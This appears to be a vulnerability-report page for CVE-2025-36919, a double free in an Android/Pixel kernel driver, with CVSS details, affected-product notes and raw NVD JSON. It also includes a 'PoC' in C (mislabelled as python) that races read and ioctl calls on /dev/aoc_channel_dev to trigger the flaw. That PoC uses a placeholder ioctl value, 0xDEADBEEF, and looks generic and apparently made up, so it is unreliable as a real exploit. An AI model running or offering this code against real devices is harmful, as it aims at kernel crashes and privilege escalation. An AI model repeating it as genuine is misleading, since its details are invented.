Security Vulnerability Report
中文
CVE-2025-36919 CVSS 7.8 HIGH

CVE-2025-36919

Published: 2025-12-11 20:15:57
Last Modified: 2025-12-12 17:27:04

Description

In aocc_read of aoc_channel_dev.c, there is a possible double free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android Open Source Project < 2025-12-01安全补丁级别
Pixel设备受影响(具体版本需查看官方公告)
aoc_channel_dev.c涉及的内核版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36919 PoC - Double Free in aocc_read (aoc_channel_dev.c) // This PoC demonstrates triggering the double free condition // Compile: gcc -o poc poc.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #define AOC_CHANNEL_DEV_PATH "/dev/aoc_channel_dev" #define TRIGGER_IOCTL 0xDEADBEEF int fd; volatile int stop_threads = 0; void* trigger_read_thread(void* arg) { char buffer[1024]; while (!stop_threads) { // Open device and trigger concurrent reads int local_fd = open(AOC_CHANNEL_DEV_PATH, O_RDWR); if (local_fd >= 0) { // Concurrent read operations to trigger race condition read(local_fd, buffer, sizeof(buffer)); usleep(100); // Small delay to increase race condition probability close(local_fd); } } return NULL; } void* trigger_ioctl_thread(void* arg) { while (!stop_threads) { // Rapid ioctl calls to manipulate device state ioctl(fd, TRIGGER_IOCTL, NULL); usleep(50); } return NULL; } int main() { printf("[+] CVE-2025-36919 PoC - Double Free in aocc_read\n"); printf("[+] Opening %s...\n", AOC_CHANNEL_DEV_PATH); fd = open(AOC_CHANNEL_DEV_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open device. Requires root or specific permissions.\n"); return 1; } printf("[+] Device opened successfully. Spawning threads...\n"); pthread_t threads[4]; for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, trigger_read_thread, NULL); } pthread_t ioctl_thread; pthread_create(&ioctl_thread, NULL, trigger_ioctl_thread, NULL); printf("[+] Running for 30 seconds to trigger race condition...\n"); sleep(30); printf("[+] Stopping threads...\n"); stop_threads = 1; for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } pthread_join(ioctl_thread, NULL); close(fd); printf("[+] Test completed. Check for kernel panic or heap corruption.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36919", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.513", "lastModified": "2025-12-12T17:27:03.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In aocc_read of aoc_channel_dev.c, there is a possible double free due to improper locking. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}